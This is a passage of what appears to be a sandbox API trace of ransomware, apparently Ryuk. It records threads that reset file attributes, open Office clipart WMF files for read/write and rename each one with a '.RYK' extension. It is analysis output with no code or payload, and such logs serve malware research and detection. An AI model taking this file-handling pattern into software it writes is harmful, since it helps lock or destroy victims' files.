	[0235.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2648
	os_tid = 0x2ee0

	[0235.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF", dwFileAttributes=0x80) returned 0
	[0235.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2649
	os_tid = 0x2ee4

	[0235.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF", dwFileAttributes=0x80) returned 0
	[0235.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.953] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2650
	os_tid = 0x2ee8

	[0235.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF", dwFileAttributes=0x80) returned 0
	[0235.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.955] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186360.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186360.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2651
	os_tid = 0x2eec

	[0235.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF", dwFileAttributes=0x80) returned 0
	[0235.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.957] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.957] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186362.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186362.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2652
	os_tid = 0x2ef0

	[0235.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF", dwFileAttributes=0x80) returned 0
	[0235.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2653
	os_tid = 0x2ef4

	[0235.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF", dwFileAttributes=0x80) returned 0
	[0235.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.961] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.961] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2654
	os_tid = 0x2ef8

	[0235.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF", dwFileAttributes=0x80) returned 0
	[0235.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.963] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.963] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2655
	os_tid = 0x2efc

	[0235.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF", dwFileAttributes=0x80) returned 0
	[0235.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.966] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2658
	os_tid = 0x2f08

	[0235.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF", dwFileAttributes=0x80) returned 0
	[0236.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.162] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2659
	os_tid = 0x2f0c

	[0235.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF", dwFileAttributes=0x80) returned 0
	[0235.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.969] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.969] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2660
	os_tid = 0x2f10

	[0235.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF", dwFileAttributes=0x80) returned 0
	[0236.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.165] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2661
	os_tid = 0x2f14

	[0235.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF", dwFileAttributes=0x80) returned 0
	[0236.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2662
	os_tid = 0x2f18

	[0235.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF", dwFileAttributes=0x80) returned 0
	[0236.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.170] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.170] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2663
	os_tid = 0x2f1c

	[0235.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF", dwFileAttributes=0x80) returned 0
	[0236.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.172] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2664
	os_tid = 0x2f20

	[0235.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF", dwFileAttributes=0x80) returned 0
	[0236.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2665
	os_tid = 0x2f24

	[0235.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF", dwFileAttributes=0x80) returned 0
	[0236.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.176] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2666
	os_tid = 0x2f28

	[0236.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF", dwFileAttributes=0x80) returned 0
	[0236.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.179] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2667
	os_tid = 0x2f2c

	[0236.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF", dwFileAttributes=0x80) returned 0
	[0236.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2668
	os_tid = 0x2f30

	[0236.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF", dwFileAttributes=0x80) returned 0
	[0236.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.458] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.459] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2669
	os_tid = 0x2f34

	[0236.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF", dwFileAttributes=0x80) returned 0
	[0236.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.574] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2670
	os_tid = 0x2f38

	[0236.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF", dwFileAttributes=0x80) returned 0
	[0236.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.576] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2671
	os_tid = 0x2f3c

	[0236.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF", dwFileAttributes=0x80) returned 0
	[0236.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.188] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2672
	os_tid = 0x2f40

	[0236.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF", dwFileAttributes=0x80) returned 0
	[0236.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.192] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.192] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2673
	os_tid = 0x2f44

	[0236.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF", dwFileAttributes=0x80) returned 0
	[0236.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.577] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2674
	os_tid = 0x2f48

	[0236.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF", dwFileAttributes=0x80) returned 0
	[0236.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.579] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2675
	os_tid = 0x2f4c

	[0236.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF", dwFileAttributes=0x80) returned 0
	[0236.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.581] CloseHandle (hObject=0xffffffffffffffff) returned 0
